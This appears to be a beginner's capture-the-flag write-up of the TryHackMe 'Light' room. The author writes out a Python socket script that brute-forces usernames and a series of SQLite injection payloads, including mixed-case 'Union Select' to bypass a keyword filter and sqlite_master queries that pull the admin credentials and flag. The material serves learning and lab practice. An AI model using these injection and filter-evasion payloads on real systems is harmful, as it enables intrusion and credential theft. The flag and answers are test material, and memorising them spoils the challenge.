Light
LAST UPDATED FEB-2025 (p.s. pardon me, I'm still a rookie at CTFs)
I started on this challenge with minimal knowledge of SQL/SQLite commands and workings (just the basics as learnt from the TryHackMe course room detailed under the Web Hacking -> SQL Injection section in this gitbook: https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking/web-hacking/sql-injection). I have gained ideas and insights from a few online resources and also from ChatGPT.
Note: ChatGPT was used to point myself towards the right direction on SQLite specific concepts such as commands to retrieve the table or columns names from the current database instance, but not on specific SQL injection concepts. The SQL injection commands were generated by myself based on multple trial-and-errors. For example, commands to query from sqlite_master
was generated by ChatGPT, however, the insertion of specific characters (eg. quotation marks, equal signs, etc.) within the final command sent to the vulnerable database application was added myself based on my own knowledge from past experiences.
First attempt: brute-force attack on username
The challenge presents a simple interface over the TCP connection at port 1337, prompting for the username, to which it will respond with the password. The goal is to find the name and password of the admin account, followed by a flag.
My first instinct was to perform a brute-force attack on the username. According to the results, I can identify the admin username, and retrieve the password from the application.
Bash script to brute force the password:
The following displays an attempt of using a bash script (not completed) to perform the brute-force attack. However, the script is not working as it simply pauses after the first input.
#!/usr/bin/bash
filename="/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt"
while IFS="" read -r line; do
# eg. echo smokey | nc <target> 1337
res=$(echo "$line" | nc -w 1 <target> 1337)
if [[ "$res" == *"not found"* ]]; then
# if the substring "not found" is present, means user not found
...
else
# print success message and exit
...
fi;
done < "$filename"
Python script:
The following shows a Python script that works:
#!/usr/bin/python3
import socket
HOST=<target>
PORT=1337
#filename='/usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt'
#filename='test.txt'
#filename='/usr/share/wordlists/SecLists/Usernames/Names/names.txt'
#filename='/usr/share/wordlists/SecLists/Usernames/Names/femalenames-usa-top1000.txt'
#filename='Security-Research/tools/aws-pentest-tools/iam_user_enum/default-word-list.txt'
filename='wordlist/usernames.txt'
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST,PORT))
s.recv(1024) # flush 1
s.recv(1024) # flush 2
f = open(filename, 'r')
for username in f:
if len(username) <= 10:
continue
username = username.lower()
print(f'[!] Trying {username.replace('\n', '')}', end=' ')
s.send(bytes(username, 'utf-8'))
data = s.recv(1024)
str_data = str(data, 'utf-8')
if 'not found' in str_data:
print('failed')
s.recv(50)
else:
print(str_data)
break
f.close()
Word-lists to try out:
/
usr/share/wordlists/seclists/Usernames/Names/names.txt
/usr/share/wordlists/seclists/Usernames/Names/malenames-usa-top1000.txt
/usr/share/wordlists/seclists/Usernames/Names/femalenames-usa-top1000.txt
I found the username: alice. However this wasn't the admin username. Probably a rookie mistake on my part for not realizing sooner that the answer field for the admin username in the TryHackMe website is 14 characters long. An SQL injection is likely to be more feasible.
SQL Injection
As mentioned before, I noticed that the input form length is very long, and realized that it's highly unlikely that I would be able to find the username with a simple brute-force.
As suggested from the challenge name, this database is likely to be a SQLite database application.
Possible SQL statements on the server side:
SELECT * FROM users WHERE name=[input_name];
Attempts with common SQL injection inputs:
(1) Force the statement to resolve to TRUE
a) Potentially tricking the database to return all the users
1st attempt
' OR 1=1
Response: Error: unrecognized token: "' LIMIT 30"
From the error message, I understand that the query on the server side is as follows:
SELECT * FROM users WHERE name='[input_name]' LIMIT 30;
2nd attempt
The --
operator represents a single-line comment. This is used to tell SQL to ignore the comments after our input. In this case, it allows bypass of the ' LIMIT 30
command.
' OR 1=1 --
Hope to resolve to the following in the server side:
SELECT * FROM users WHERE name='' OR 1=1--' LIMIT 30;
Reponse: For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
This tells us that comment characters are banned.
3rd attempt:
' OR ''='
Hope to resolve to the following in the server side:
SELECT * FROM users WHERE name='' OR ''=''
This seems to return a password value (associated with the alice username).
(2) UNION SELECT statement
a) Query the sqlite_master
database for more information
What is sqlite_master
?
Every SQLite database contains a single "schema table" that stores the schema for that database. The schema for a database is a description of all the other tables, indexes, triggers, and views that are contained within the database.
The schema table looks like this:
CREATE TABLE sqlite_schema( type text, name text, tbl_name text, rootpage integer, sql text );
1st attempt to query the sqlite_master
schema table
This can be used to discover the name of the other tables available in the SQLite database
' UNION SELECT name FROM sqlite_master WHERE type='table' OR '=
Response: Ahh there is a word in there I don't like :(
The full lowercase form for the UNION and SELECT operator in the query returns the same response too
' union select name FROM sqlite_master WHERE type='table' OR '=
(3) Obfuscation of keywords
After pondering for awhile on the error message returned from the statement in point 2 above, I got the idea of using non-standard SQL keyword commands, apart from the conventional fully capitalized, or fully non-capitalized versions (UNION
, union
).
Query 3.1
' Union Select name FROM sqlite_master WHERE type = 'table' OR '=
Response 3.1: Password: admintable
It appears that this method works
We have discovered that there exists a table with the name
admintable
Query 3.2
' Union Select * from admintable '=
Response 3.2:
Error: SELECTs to the left and right of UNION do not have the same number of result columns
This response tells us that the admintable table have more than one column
Thus, it causes a number of result columns mismatch from the original query (first part of the query before the
UNION
keyword)
Note that the original query only returns one column
Query 3.3
We need a method to view the exact schema of the table, before selecting a single column to read the value directly
' Union Select sql FROM sqlite_master WHERE name='admintable' OR '=
Response 3.3:
Password: CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)
Query 3.4 (Answer to qn 1)
Now, with the information retrieved from the previous response, I can select a column value to read. In this case, it will be the username
column.
' Union Select username FROM admintable '
Response 3.4:
Password: TryHackMeAdmin
To answer question 1 "What is the admin username?": TryHackMeAdmin
Query 3.5 (Answer to qn 2)
Now that we know the admin username, we can find the password with the following query:
' Union Select password FROM admintable WHERE username='TryHackMeAdmin' OR '=
Response 3.5:
Password: mamZtAuMlrsEy5bp6q17
To answer question 2 "What is the password to the username mentioned in question 1?": mamZtAuMlrsEy5bp6q17
Query 3.6 (Answer to qn 3)
' Union Select password FROM admintable '=
Response 3.6:
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}
To answer question 3 "What is the flag?": THM{SQLit3_InJ3cTion_is_SimplE_nO?}
(4) Other queries to understand the concept of sqlite_master
schema table
sqlite_master
schema tableQuery 4.1
' UNion Select sql FROM sqlite_master where type='table' OR '=
Returns the same response as query 3.3 above
Query 4.2
Returns the same response as query 3.1 above
' UNion Select tbl_name FROM sqlite_master where type='table' OR '=
Conclusion
From the results, I have learnt that SQLite accepts variations of SQL keywords. This includes the following (non-exhaustive): Union
, uNion
, unIon
, uniOn
, UNion
, etc., which are treated as valid commands.
This is because SQLite follows the SQL standard, which states that keywords are case-insensitive. However, this only applies to keywords, not to identifiers like table names (unless quoted). This can allow attackers to bypass simple SQL injection filters that relies on specific standard keyword filters such as "UNION", "union", etc.
Last updated